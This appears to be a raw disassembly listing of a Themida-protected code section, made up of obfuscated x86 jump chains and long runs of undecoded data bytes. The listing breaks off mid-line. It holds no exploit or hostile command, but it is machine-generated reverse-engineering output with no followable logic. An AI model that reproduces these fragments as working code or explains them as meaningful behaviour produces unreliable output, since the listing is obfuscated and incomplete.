Themida_:0054C5B6j mov ebp, esp add ebp, 4 jmp loc_548369 ; --------------------------------------------------------------------------- dd 52D2F75Ah, 3A7DE9h, 24148B00h, 0E904C483h, 0FFFF9026h dd 251EF381h, 0DF010100h db 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_544F0B ; --------------------------------------------------------------------------- db 81h, 0C6h, 0EAh dd 131FB13h, 4EC81EEh, 89000000h, 42E92404h, 5F000009h dd 8AC58145h, 0E9371940h, 0FFFFFDA9h, 2373E95Eh, 81590000h dd 0F36524C9h, 0B7ECE96Bh, 0C301FFFFh, 4208E957h, 0E95D0000h dd 500h, 0E924048Bh, 0FFFFB9ADh, 4B9h, 59CE0100h, 5C243487h dd 0E92434FFh, 0FFFFC5EDh, 0EBF5753h, 89616F17h, 81435FFBh dd 0F66009C3h, 8DB9512Ch, 81299C75h, 0D449B7C3h, 81CB295Fh dd 0D449B7EBh, 9F8AE95Fh, 0EB81FFFFh, 0DAA3058h, 241C335Ah dd 3BBDE9h, 0C8B60F00h, 8904EC83h, 0EC812404h, 4, 0FFD2E4E9h dd 0E4E9ACFFh, 66FFFFF6h, 0E9240C8Bh, 0FFFFA46Bh, 24048F58h dd 6624248Bh, 0E924048Bh, 0FFFFD8D6h, 0FF2434FFh, 81582434h dd 4C4h, 28DD6800h, 0C890000h, 0B3FDE924h, 4486FFFFh, 5A660124h dd 8B66F588h, 0C4832414h, 66CDFE02h, 0E9FFB353h, 0FFFFC11Ah dd 59863605h, 58C1014Bh, 6275BD55h, 0DDF7295Eh, 3064ED81h dd 0ED81343Eh, 0A2636D25h, 0E95DE901h, 0FFFF93B5h, 0E9EB315Ah dd 0FFFF9267h ; --------------------------------------------------------------------------- loc_54AED4: ; CODE XREF: Themida_:0054A55Cj and ebp, 488F573Ch inc ebp xor ebp, 72856FA2h add edx, ebp pop ebp sub edx, 5DC02056h not edx dec edx jmp loc_5469D3 ; --------------------------------------------------------------------------- dw 0C8Bh dd 58E95724h, 89FFFFE8h, 57E92434h, 66FFFFA2h, 74BF6853h dd 4890000h, 512BB024h, 36B4E9h, 58C70100h, 0FFB71BE9h dd 0CFF57FFh, 0DFF75F24h, 0EF81DFF7h, 5C2B3865h, 2044F781h dd 0FD21F141h, 0FFFE86E9h, 0BAE953FFh db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AF3F: ; CODE XREF: Themida_:005469DAj mov esi, 8DDD4F6Dh xor edx, esi pop esi sub edi, 19C81760h add edi, edx add edi, 19C81760h pop edx push eax mov eax, 216F3C8Fh xor eax, 5C02B3Ah dec eax jmp loc_5466C2 ; --------------------------------------------------------------------------- db 0Fh dd 0FF7E9885h, 45BD55FFh, 4D0CFD5Dh, 5202EDC1h, 9A4E6DBAh dd 7D15E936h, 0EF81FFFFh, 28AA47FCh, 0E92434FFh, 0FFFF8085h dd 81241C8Bh, 4C4h, 1EF8000h, 0FFF1B2E9h, 0E98149FFh, 6DE70615h dd 1122E9h, 0E9C38900h, 0FFFFE155h, 4240483h, 0FF96E7E9h dd 5BDA21FFh, 35C1E9h, 240CFE00h, 775AE99Ch, 215BFFFFh dd 2434FFD8h, 5B2434FFh, 8904EC83h, 5E542434h, 4C681h dd 0F1E90000h, 81FFFFF1h, 4ECh, 24248900h, 4240481h, 8B000000h dd 0F5E92404h, 41FFFFF7h, 4AF0E181h, 7CE956D3h, 81FFFF78h dd 211AF7C1h, 7BD4E91Eh, 1C89FFFFh, 0B0B85024h, 0BB14646Ah dd 14646AB4h, 0FF7969E9h, 4C681FFh, 52000000h, 0E44EDDBAh dd 92EA8112h, 8125E72Ch, 0FD224FF2h, 0DF72E9ECh, 0FE68FFFFh dd 8B01441Eh, 0E952242Ch, 0FFFFEFF5h, 6A4568h, 4EC8300h dd 0E9242489h, 245h, 472C5966h, 0FF8074E9h, 240481FFh dd 2FF3462Ch, 8324048Bh, 148904ECh, 242E924h, 52500000h dd 3EE930B2h, 66000018h, 91E9028Fh, 81FFFF76h, 0BAF395F6h dd 5EF131BEh, 0E903E1C1h, 0FFFF8DC2h ; --------------------------------------------------------------------------- loc_54B0A8: ; CODE XREF: Themida_:0054505Ej mov dh, 10h jmp loc_54E7DB ; --------------------------------------------------------------------------- db 0C1h dd 0EB8102E3h, 0D98801FDh, 15BDA89h, 672D5AD0h, 590BC63Fh dd 1803BF57h, 0FB010559h, 81C3015Fh, 4ECh, 243C8900h, 591803BFh dd 95EB8105h, 292DCB51h, 95BF57FBh, 512DCB51h, 0CF3A4FB9h dd 0AF83E944h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B0F6: ; CODE XREF: Themida_:0054ED7Dj mov dx, [esp] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi push 5828h mov [esp], esp jmp loc_54DEE4 ; --------------------------------------------------------------------------- dw 0E952h dd 0FFFFB8FEh, 8B243487h, 0E9522424h, 0FFFFF156h, 0BCF9E958h dd 515BFFFFh, 0BA441968h, 53415937h, 0D78BA52h, 0D389447Ah dd 0FF7F11E9h, 71E956FFh, 0F6FFFFBAh, 45E580D5h, 83ABC580h dd 896602ECh, 0D7E92404h, 33FFFF78h, 248B2404h, 4EC8324h dd 0BA241489h, 798E7C0Ah, 592BE56h, 0DEF723E5h, 0F613F681h dd 6BE9C136h, 53FFFF98h, 0F366B6BBh, 5BDD8911h, 5A5DE931h dd 575A5452h, 0E82E73BFh, 3E7C15Bh, 0F705E7C1h, 0FAE781D7h dd 811F2B11h, 0FC2CEDEFh, 9F7813Ch, 81DA04D4h, 4A3DF0C2h dd 81FA0158h, 4A3DF0EAh, 73E95F58h, 81000030h, 4C6h, 4C68100h dd 87000000h, 0F65C2434h, 0C21BE9DAh, 0D1F7FFFFh, 0A29AE949h dd 0E953FFFFh, 0FFFFA15Dh, 8EF815Ah, 29B5A764h, 0DF015FFBh dd 2C7815Bh, 33000000h, 3C31243Ch, 243C3324h, 6624248Bh dd 268E1F7h, 8900005Ch, 52E92434h, 81FFFF87h, 2D7B2AE2h dd 30C8E915h, 0EA800000h, 5AD300CAh, 80C3005Ah, 0FFE9ABEBh dd 89000035h, 2434FFCBh, 87685259h, 8900006Bh, 4812424h dd 424h, 24148B00h, 5E08950h, 4, 2691E9h, 23BB0500h, 27E9591Bh dd 66FFFFC6h, 5724048Bh, 0FFA115E9h, 0E9D829FFh, 0FFFFE5DCh dd 0DC6F62BAh, 0E9D53124h, 0FFFFCFF7h, 0BA82E95Bh, 0D3BFFFFFh dd 8176703Dh, 6F08C6EFh, 0F7C78112h, 0E99BFECAh, 0FFFFAF7Fh dd 5557E589h, 0FFD1D4E9h, 240483FFh, 24048F04h, 46856h dd 815E0000h, 5D042444h, 0E9050A52h, 0FFFFE23Ah, 0E956E289h dd 0FFFFDF57h, 8158C689h, 0A8C18EEEh, 8BF0013Eh, 0F6E92434h dd 5CFFFFA5h, 0E9241C89h, 8A1h, 26C78159h, 1781079h, 1920E9C7h dd 0FEB10000h, 459C800h, 281B048Ah, 501B2CD8h, 405E089h dd 83000000h, 95E904E8h, 66FFFFD5h, 6824048Bh, 40A7h, 81241C89h dd 4ECh, 0C1BBE900h, 0EA31FFFFh, 5AD5895Dh, 6CAE9h db 0 ; --------------------------------------------------------------------------- loc_54B339: ; CODE XREF: Themida_:0054CF8Dj push edx mov edx, 62A63234h push ecx mov ecx, 72FA4FFDh shl ecx, 2 jmp loc_544F40 ; --------------------------------------------------------------------------- db 50h, 0B8h, 37h dd 0F77C563Ch, 7ACCE9D8h, 0C181FFFFh, 3F6C43CBh, 5B65C181h dd 0F1014CB1h, 5B65E981h, 0E9814CB1h, 3F6C43CBh, 48A7E981h dd 34FF54CDh, 0C4835E24h, 8423E904h, 8B66FFFFh, 54532404h dd 8B2434FFh, 0C483241Ch, 4C48304h, 0FF91E3E9h, 0EBBF57FFh dd 3142599Ch, 0BB535FFAh, 15210B8Bh, 0E95BD829h, 0FFFFFEADh dd 0FF2434FFh, 34FF2434h db 24h, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_546CB6 ; --------------------------------------------------------------------------- loc_54B3C6: ; CODE XREF: Themida_:0054D0C9j sub ebp, 37E9674Dh add esi, ebp pop ebp mov edi, esi pop esi add eax, edi jmp loc_54D172 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 4EC8324h, 0E9241C89h, 0FFFF88E3h, 152F27BFh, 94CF8102h dd 471D205Fh, 0E905EFC1h, 0F8h, 0C181C101h, 63E07AD5h dd 0A730E952h, 1BB9FFFFh, 894E9C4Fh, 903559C8h, 2D48D14Dh dd 38951391h, 21E9C601h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B423: ; CODE XREF: Themida_:0054C2F7j mov [esp], edx mov edx, 106D3FFDh push esi mov esi, 106D3FF9h jmp loc_549117 ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 52000000h, 9F4836BAh, 9378E960h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B44A: ; CODE XREF: Themida_:0054BC55j push 5B00h mov [esp], eax push dword ptr [esp+4] pop eax jmp loc_54587E ; --------------------------------------------------------------------------- dd 2CA5EA80h, 6B042Fh, 46B2CD0h, 1BDDE92Fh, 0EC830000h dd 24148904h, 0A92085BAh, 68D2F713h, 3D5Fh, 0E9240489h dd 0FFFFF0C4h, 2424D35Ch, 0FF7297E9h, 48B66FFh, 5D545524h dd 4C581h, 0BCE90000h, 80FFFFA9h, 0C58097EDh, 59E80067h dd 68505159h, 3200h, 1BA9E9h, 0C1815900h, 4, 8704C183h dd 685C240Ch, 34BBh, 0E9240489h, 0FFFF7254h, 0B234BFBEh dd 0E9F00160h, 1ABDh, 9898E957h, 0BF57FFFFh, 18B73D13h dd 0E95FFE01h, 325Bh, 7642CF81h, 9CE97FCAh, 87FFFF8Bh dd 895C243Ch, 0A7BA2414h, 0E9396766h, 0FFFFE852h, 20E9D3F7h dd 5E00000Fh, 24BB53h, 0FB010000h, 0FF75D7E9h, 0FFFB01FFh dd 2E62E933h, 0DAF60000h, 80A2EA80h, 0EA8029CAh, 19B45001h dd 17EBE9h, 4C48300h, 2DB4E9h, 65E95900h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B54F: ; CODE XREF: Themida_:0054735Aj pop eax jmp loc_54871B ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 6804C483h, 7D0Dh, 0E9243489h, 92Fh, 0DFE932FFh, 29FFFFDBh dd 63E956D8h, 66FFFFB1h, 5224048Bh, 0BF57E289h, 64BF639Fh dd 639BF781h, 0FA0164BFh, 4BF575Fh, 0E9000000h, 0FFFF9B2Dh dd 0C1885153h, 5259CF88h, 88F88850h, 0B95158C6h, 38h, 309DC181h dd 0A3E96616h, 0D1FFFFABh, 9FF781E7h, 0C1116B1Eh, 0E7C105EFh dd 0E9EFD106h, 0FFFF857Eh, 0E924048Bh, 0FFFFD37Fh, 4247C31h dd 81243C8Bh, 4C4h, 0F2815A00h, 628974B4h, 0FFBB5DE9h dd 1C8966FFh, 9539E924h, 8B5DFFFFh, 89532414h, 4C381E3h dd 81000000h, 4C3h, 241C8700h, 0FF83F4E9h, 87DF29FFh, 0CFE95FFBh dd 66FFFFBFh, 662227BBh, 8B66DE89h, 0C481241Ch, 2, 0FFA7FFE9h dd 2434FFFFh, 0FF724AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B639: ; CODE XREF: Themida_:00546421j mov [esp], dx push ax pushf jmp loc_542728 ; --------------------------------------------------------------------------- db 59h, 0E9h, 0C0h dd 53FFFFC2h, 4BBh, 5BDE0100h, 2BD55h, 0EE810000h, 65747938h dd 0FFBCC8E9h, 2434FFFFh, 0E9240C8Bh, 0FFFFC0EDh, 45BCBE56h dd 5B560BD4h, 0FF9F68E9h, 63E95EFFh, 5BFFFFFEh, 4C481h dd 0D3890000h, 5E3C15Ah, 4EC81h, 2C890000h, 0FE47BD24h dd 4BE96879h, 89FFFFD8h, 0BEE9243Ch, 31FFFF98h, 0E76AE9DFh dd 28FFFFFh, 0FF706FE9h, 0B4C580FFh, 0B060C580h, 59E830FBh dd 0E8D0012Ch, 0FF892EE9h, 243C89FFh, 4BFh, 5FF90100h dd 8904EC83h, 3EB82404h, 0E96C7237h, 224Bh, 0C6E9C009h dd 2D000023h, 1CDA068Bh, 0EB815A5Bh, 4A043660h, 0FFF548E9h dd 6FDEB8FFh, 0D0F74C16h, 0BA221B0Dh, 91E1E935h, 0FD05FFFFh dd 2D74E337h, 79B27173h, 7305D801h, 5279B271h, 0FFC093E9h dd 0EFBD55FFh, 0E9159117h, 0FFFFE8AFh, 0C1F1C02Dh, 0ACFFE996h dd 0EE29FFFFh, 0FFB10EE9h, 4EC81FFh, 0E9000000h, 0FFFFA27Eh dd 3632BD55h, 0CD814949h, 6CF5042Ch, 56D168h, 24348900h dd 36B6BD55h, 0B8BE2941h, 315FD07Eh, 0CE815DEEh, 68CA35AEh dd 0FFBBBDE9h, 241C33FFh, 0E9241C31h, 8DCh, 0EDE9EBB5h dd 81FFFFB4h, 4C4h, 1EE8100h, 81000000h, 1617EEE6h, 0C2EE814Eh dd 2931C789h, 8FE95EF3h, 8F000003h, 71E94047h, 87FFFF6Fh dd 815C2434h, 4C3h, 0D10CE900h, 850FFFFFh, 0FFFFB2F6h dd 2878E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B7D2: ; CODE XREF: Themida_:005495D1j sub al, bl sub al, 0A2h add al, 0DFh add al, 17h sub al, 75h mov bx, [esp] add esp, 2 jmp loc_54426C ; --------------------------------------------------------------------------- dd 68240C8Bh, 0AF3h, 89240489h, 405E0h, 0C0830000h, 0BF3BE904h dd 8B66FFFFh, 3968240Ch, 89000026h, 5A542414h, 4C281h dd 0BF570000h, 6CF1808h, 60DDF781h, 0E7C17742h, 0BE564F03h dd 22761966h, 5C3668h, 241C8900h, 6947D2BBh, 5BDE3152h dd 1DC5E9h, 243C3300h, 33243C31h, 665C243Ch, 0B70FC331h dd 0B76866C0h, 489660Fh, 6ECAE924h, 487FFFFh, 6EC2E924h dd 0BB53FFFFh, 32462F4h, 0FFBF67E9h, 5BD889FFh, 158C531h dd 0EE835DEEh, 48036802h, 34890000h, 2474FF24h, 24348B04h dd 4C481h, 48F0000h, 89665C24h, 50662414h, 6E86E99Ch, 433FFFFh dd 24043124h, 5C240433h, 0FFD5DEE9h, 0AB0F66FFh, 0E99C2404h dd 0FFFF6E6Ch, 8704C383h, 0A5E9241Ch, 31000029h, 1E95BD8h dd 57FFFFFAh, 64686856h, 815E7036h, 565463E6h, 0A0EE8162h dd 8108772Ah, 0D852CAF6h, 5EF78973h, 8104EFC1h, 0E3EDA0EFh dd 8BFB29F5h, 0C481243Ch, 4, 65EFEE81h, 0DE011C20h, 65EFC681h dd 1C8B1C20h, 4C48124h, 87000000h, 248B2434h, 0F306E924h dd 0C381FFFFh, 4, 8704EB83h, 895C241Ch, 4832424h, 0E95A0424h dd 0FFFFC972h, 4B9h, 63C58100h, 0E93EC032h, 0FFFF710Eh dd 5C243487h, 0B60FE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B956: ; CODE XREF: Themida_:00548725j jmp loc_542728 ; --------------------------------------------------------------------------- db 59h dd 2474FF56h, 24348B04h, 8F04C483h, 12E92404h, 88FFFFEDh dd 98D4E9C1h, 0E95EFFFFh, 0FFFFECD1h, 4869A12Dh, 5D710566h dd 0C3891508h, 245F8958h, 0E92434FFh, 0FFFFA627h, 4C2815Eh dd 33000000h, 14312414h, 0F229E924h, 875AFFFFh, 57E9243Ch dd 83FFFF72h, 0BB5304C4h, 5F573F45h, 0E95BDE21h, 0FFFF8E6Eh dd 104C483h, 0C7835BDFh, 243C3302h, 33243C31h, 248B243Ch dd 0C188E924h, 8B66FFFFh, 54562404h, 4C6815Eh, 0E9000000h dd 33AFh, 4B951h, 0BD050000h, 1018630h, 30BD2DC8h, 0C8E90186h dd 1000020h, 5D08246Ch, 24478F5Dh, 3AEA68h, 241C8900h dd 0FF2434FFh, 68582434h, 5EB9h, 0FF8A3CE9h, 1C77FFFFh dd 419589Dh, 0F5E99C24h, 8BFFFF6Ch, 0C4832414h, 637E904h dd 0EC810000h, 4, 0E9243C89h, 0FFFF7C3Fh, 2298B850h, 0E94877C1h dd 0FFFF9E0Ah, 0A33271B8h, 5E0C178h, 0E902E0C1h, 0FFFFA148h dd 0D1A5E959h, 481FFFFh, 424h, 5DE95B00h, 2900002Ch, 0C8B244Fh dd 4C48324h, 0FF89E8E9h, 4C181FFh, 0E9000000h, 32EEh, 0CFC480h dd 0AD3DE9E2h, 15AFFFFh, 8CD1E9F7h, 0E3D1FFFFh, 3A8FE381h dd 0F3875FC1h, 0FFA64AE9h, 240C87FFh, 0FFCBCFE9h, 0E08950FFh dd 64B6BD55h, 0C58108BBh, 79081ECDh, 7C81C581h, 0E8017E3Ch dd 0FF98D3E9h, 539268FFh, 3DE90000h, 5CFFFFACh, 0E9241489h dd 0FFFFA08Dh, 2BAh, 9FFBE900h, 0BB53FFFFh, 0F571CA04h dd 0B7E9D929h, 89FFFF73h, 94B02404h, 0D42CD8F6h, 0C6885253h dd 0E95AF388h, 0FFFFA005h, 68241C8Bh, 3D9Ch, 54243489h dd 0FFAD0BE9h, 0FCE981FFh, 1C90417h, 0FE25E9CEh, 3C87FFFFh dd 781EE924h, 2468FFFFh, 89000008h, 0A4E9240Ch, 66FFFFA9h dd 9C241CF7h, 0FF6BD3E9h, 4C681FFh, 83000000h, 348704C6h dd 0C4815C24h, 4, 209868h, 241C8900h, 0C3809EB3h, 0FFC380EAh dd 15AE9h, 2C8B5D00h, 726E924h, 0D3F70000h, 0FFDC06E9h dd 4EC81FFh, 89000000h, 31E92414h, 0F7FFFFA9h, 0FEF181D9h dd 29A01CB0h, 875E59CBh, 895C241Ch, 0BEBE2434h, 0F70DAB61h dd 6BB0E9D6h, 0E589FFFFh, 4C581h, 0ED810000h, 4, 2474FF55h dd 242C8B04h, 0E904C483h, 0FFFF7E77h, 30F5C380h, 0C3285BD8h dd 0AAC38058h, 4EC81h, 14890000h, 0A348E924h, 0C8BFFFFh dd 20456824h, 14890000h, 0CDE95424h, 58FFFF7Bh, 0FFB1F6E9h dd 0FFE828FFh, 57592434h, 4EC81h, 24890000h, 24048124h dd 4, 0FFC799E9h, 2414F7FFh, 0FF97E2E9h, 0ED815CFFh, 637A0846h dd 5124348Bh, 0C181E189h, 4, 9CEE9h, 240C8700h, 85E9D1F7h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BC4F: ; CODE XREF: Themida_:00546EEDj add esp, 4 add eax, 4 jmp loc_54B44A ; --------------------------------------------------------------------------- dw 4058h dd 4C20872Dh, 0C189515Ch, 0FF908EE9h, 81E389FFh, 4C3h dd 0C337E900h, 0D9F6FFFFh, 0F605E1C0h, 8AC180D9h, 0E959C828h dd 0FFFF87BFh, 80D8E680h, 8850CFC6h, 0FFE588F4h, 48B2434h dd 4C48124h, 83000000h, 305A04C4h, 0DB9E9E8h, 4BF0000h dd 1000000h, 243C8BF9h, 4C481h, 36E90000h, 0ADFFFFA0h dd 0B160B62Dh, 83D8297Dh, 2C8904ECh, 12FEBD24h, 76E9523Dh dd 66FFFFF6h, 306CB551h, 2BF5E9EBh, 0EA680000h, 89000030h dd 0D9B42404h, 0FFBF6CE9h, 4E2C1FFh, 4A24C281h, 0D501CEBAh dd 4C5815Ah, 68000000h, 5F7Bh, 0FF242C89h, 8B042474h, 6E68242Ch dd 8900004Dh, 6EE92434h, 58FFFFB2h, 2973EE81h, 0F1313196h dd 0C6BAE95Eh, 0E95CFFFFh, 97Ch, 6824048Bh, 0C6Dh, 68241C89h dd 4E9Bh, 81242489h, 42404h, 1C8B0000h, 4C48124h, 57000000h dd 0FFD97BE9h, 4C281FFh, 87000000h, 0E95C2414h, 0FFFF69BCh dd 4BEh, 0E9F12900h, 0D77h, 4C9E6852h, 815A4F48h, 0BB5E60CAh dd 0C1D2F778h, 0E2C102EAh, 4EC8103h, 89000000h, 77BE2434h dd 0E936222Dh, 0FFFFE306h, 4EA81h, 14870000h, 8F66E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BDAE: ; CODE XREF: Themida_:0054796Bj pop ebx sub bl, 70h add bl, 5Dh sub bl, 56h sub bl, 0C2h add bl, al add bl, 0C2h add bl, 56h jmp loc_547796 ; --------------------------------------------------------------------------- dd 0E95BDD01h, 618h, 2692E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BDD6: ; CODE XREF: Themida_:00544B1Bj push esi mov esi, 4 add ebx, esi jmp loc_549011 ; --------------------------------------------------------------------------- loc_54BDE3: ; CODE XREF: Themida_:00547C43j add esp, 4 push edx mov edx, esp push ebx mov ebx, 4 jmp loc_5459FD ; --------------------------------------------------------------------------- dd 8858C588h, 0E687E9ECh, 2C31FFFFh, 242C3324h, 8924248Bh dd 9C502414h, 0FFAD4AE9h, 0C8966FFh, 0B60F6624h, 9C5166C8h dd 0FF6907E9h, 24048BFFh, 1715E9h, 69EB8000h, 0C380C328h dd 0B2C38069h, 80B050h, 0B60F58C3h, 87048FC0h, 0FF68E3E9h dd 0DDE95CFFh, 1FFFF68h, 0C5015BDDh, 2389ED81h, 17E91AC1h dd 5D00000Ah, 4A4FE181h, 0C0E9296Eh, 5000023h, 26313B0Ch dd 0FF7A38E9h, 240C8BFFh, 8104C483h, 4ECh, 0B289E900h dd 5366FFFFh, 0DD008EB3h, 1DE95B66h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54D47A ; --------------------------------------------------------------------------- db 89h dd 8B8EE9E6h, 0E4B2FFFFh, 525AD030h, 0F788C688h, 0EF3EE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BEAE: ; CODE XREF: Themida_:0054D090j pop edi pop dword ptr [esp] pop esp jmp loc_54DD4F ; --------------------------------------------------------------------------- dd 8244481h, 41716E30h, 2444815Eh, 17323304h, 24448161h dd 0D756904h, 246C015Ah, 246C8104h, 0D756904h, 246C815Ah dd 17323304h, 0AF4DE961h, 1487FFFFh, 24248B24h, 0E99CC885h dd 0FFFF6830h, 8904EC83h, 0BB66241Ch, 0C1660F4Dh, 0C16602EBh dd 816603EBh, 663466F3h, 64E9DE89h, 52FFFFC5h, 613902BAh dd 25CA8151h, 8110B655h, 0F77D23EAh, 0E9D60151h, 577h dd 24048B66h, 57A868h, 240C8900h, 5352E189h, 4F35A2BBh dd 0D888E90Ch, 4EBAFFFFh, 116FC05h, 24148BD3h, 4C481h dd 0C3810000h, 7D0C44D1h, 52E38953h, 0FF92CAE9h, 0FEC5B1FFh dd 0ABF180C1h, 1AE9C828h, 89FFFF76h, 0F8892404h, 48BC289h dd 0DCE95324h, 5BFFFF90h, 4C681h, 34870000h, 0C9E95C24h dd 59FFFFABh, 0FFE01FE9h, 7DB951FFh, 0E95EE77Ch, 0FFFFE4EEh dd 7E2DC829h, 0E9020C14h, 0FFFFA8CDh, 0FF2434FFh, 34FF2434h dd 0C4815924h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_545D4D ; --------------------------------------------------------------------------- dd 0D833902Dh, 0EF3FE941h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BFD6: ; CODE XREF: Themida_:0054E5C4j pop esp movsx ecx, ax push 7BB1h mov [esp], ecx jmp loc_542728 ; --------------------------------------------------------------------------- db 88h dd 5AD788EAh, 0E9240C8Bh, 0FFFF7E17h, 0BD242C89h, 12B07D71h dd 7A8BCD81h, 0F581640Fh, 222028D2h, 2482E9h, 4C48300h dd 0B2E9CD01h, 56FFFFB4h, 0E56F0FBEh, 0D1BABD67h, 0F52972EDh dd 0ED814D5Eh, 501E54CEh, 0E6EBED81h, 0E8298765h, 0D90B2D5Dh dd 0C301047Bh, 8124048Bh, 4C4h, 2C38100h, 83000000h, 0C8904ECh dd 81E18924h, 4C1h, 1EBD5500h, 0E912991Dh, 8FBh, 8B241C33h dd 0F662424h, 9C2404A3h, 2984E9h, 24048F00h, 8924248Bh dd 41BE2434h, 0E950CA40h, 0FFFFBE7Eh, 8C46BDBBh, 3E3C154h dd 1812F381h, 0F3816FB6h, 4E53D23Ah, 1C8BDD31h, 4C48324h dd 34FFE831h, 0C4835D24h, 8BC2E904h, 66ACFFFFh, 0B1515053h dd 59C88838h, 4EC81h, 37E90000h, 80FFFFDFh, 0BDE9B5C2h dd 81FFFFB6h, 0C5582E1h, 0E9E9D172h, 0FFFF9403h, 0EFC1475Dh dd 0EFF78105h, 101F6E0h, 283AE9FAh, 0E9C10000h, 3AAA680Bh dd 1C890000h, 24348124h, 6E9B3A6Bh, 582434FFh, 0FFCEE3E9h dd 5D829FFh, 5A517903h, 0F3CAE95Bh, 0DD87FFFFh, 0ACBF581h dd 0F5816D96h, 0AEC4BE5Bh, 535DE889h, 277C31BBh, 0F795E953h dd 48BFFFFh, 0E7895724h, 4C781h, 0EF830000h, 243C8704h dd 2404895Ch, 0FFDE67E9h, 0C48159FFh, 4, 0FF964DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C159: ; CODE XREF: Themida_:0054381Cj push 74CFh mov [esp], eax push dword ptr [esp+4] mov eax, [esp] jmp loc_54DA28 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8324048Bh, 2C8904ECh, 81E58924h, 4C5h, 4C58100h, 33000000h dd 2C31242Ch, 242C3324h, 1351E9h, 658EE900h, 8B66FFFFh dd 0B2682404h, 89000032h, 0E954240Ch, 0FFFF67F1h, 0E9C3CE80h dd 0FFFFC11Ch, 19EF81h, 0EF01136Ah, 19C781h, 5BE9136Ah dd 88FFFFC1h, 240C8BCAh, 4C481h, 0D3E90000h, 1FFFFA3h dd 0AAE95EF7h, 80000002h, 0C4FE97F4h, 0FFD866E9h, 0F6664FFh dd 0B6E902B6h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C1F3: ; CODE XREF: Themida_:00546CCFj mov ebx, esp add ebx, 4 add ebx, 4 push 7583h jmp loc_5496C2 ; --------------------------------------------------------------------------- aIs db ')ëé<',0 db 2 dup(0), 31h dd 0B93FE9EBh, 97B2FFFFh, 88D78853h, 148B5BF8h, 0AC84E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C226: ; CODE XREF: Themida_:00543B69j mov ebp, 7ABE234Ch jmp loc_5467CD ; --------------------------------------------------------------------------- dd 3C8BF821h, 4C48124h, 0C1000000h, 0C83108E8h, 4EC81h dd 0B4E90000h, 5D00001Fh, 0FFB1D4E9h, 0E9FA01FFh, 0FFFFE24Fh dd 33241C31h, 248B241Ch, 0F1F76624h, 70C76866h, 0FF7FBDE9h dd 2474FFFFh, 48F5D04h, 24248B24h, 2424D366h, 64A6E99Ch dd 1433FFFFh, 24248B24h, 240C8B66h, 0FFF7ADE9h, 37EA68FFh dd 3C890000h, 760FBF24h, 0C7814430h, 0CA60AD59h, 0E95FF829h dd 0FFFF9940h, 0E904C483h, 0FFFFEA29h, 81E78957h, 4C7h dd 2292E900h, 8B660000h, 75E9240Ch, 0FFFFFF88h, 58042474h dd 0FFA0C0E9h, 4DDDF7FFh, 0FF7063E9h, 240C8BFFh, 1DB668h dd 87A9E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C2EA: ; CODE XREF: Themida_:0054D718j mov esp, [esp] mov [esp], ebx push esp pop ebx push 7C4Fh jmp loc_54B423 ; --------------------------------------------------------------------------- dd 0C681E689h, 4, 4EE81h, 34870000h, 0C242E924h, 1433FFFFh dd 24143124h, 1155E9h, 0F74A5D00h, 22F281DAh, 135C1C5h dd 0EC815AD6h, 4, 0E9240489h, 2737h, 2434FF54h, 0FF8FDEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C341: ; CODE XREF: Themida_:0054D738j mov ebx, 4 jmp loc_542A82 ; --------------------------------------------------------------------------- db 83h dd 2C8904ECh, 31C5BD24h, 45E90905h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C35B: ; CODE XREF: Themida_:00545DB4j or ebx, ebx jnz loc_5487F9 push 0EE1h mov [esp], edx pop dword ptr [edi+20h] jmp loc_5458F0 ; --------------------------------------------------------------------------- db 66h dd 50240C8Bh, 0BA52E089h, 4, 0E81B912Dh, 56D0010Fh, 0C681E689h dd 4, 0FF7876E9h, 47B1FFh, 0EBE959C8h, 56FFFF91h, 0FFFF57E9h dd 0F7665CFFh, 3AE368E9h, 0C890000h, 0C059E924h, 0E12DFFFFh dd 561FB49h, 28E776CAh, 2404875Dh, 1A5CE95Ch, 0C5810000h dd 0D82FB1A5h, 0FFA7AEE9h, 3EBD55FFh, 0F75C763Ch, 42C581DDh dd 0E95C763Ch, 0FFFFD4B4h, 5AE9E801h, 5D000001h, 5C241487h dd 8904EC83h, 0F4BE2434h, 810E9F14h, 1D042444h, 8154BC14h dd 7042444h, 2903033Ch, 81042474h, 704246Ch, 0E903033Ch dd 0FFFFE445h, 0E92434FFh, 0FFFF854Ch, 87E7E955h, 0C15AFFFFh dd 22E903EDh, 55FFFFC3h, 3F6E78BDh, 68E58111h, 0E90F5F59h dd 1E2Eh, 30B95158h, 0F76F9208h, 7CCFE9D9h, 0EE89FFFFh dd 0FFE683E9h, 5FF829FFh, 0A545722Dh, 47280553h, 0E0E90C14h dd 81000026h, 386602C5h, 0EE015A08h, 9EBA525Dh, 4A65156Dh dd 4A07E2C1h, 0FFCFB3E9h, 24148BFFh, 8304C483h, 3C3302C7h dd 243C3124h, 0FFB67FE9h, 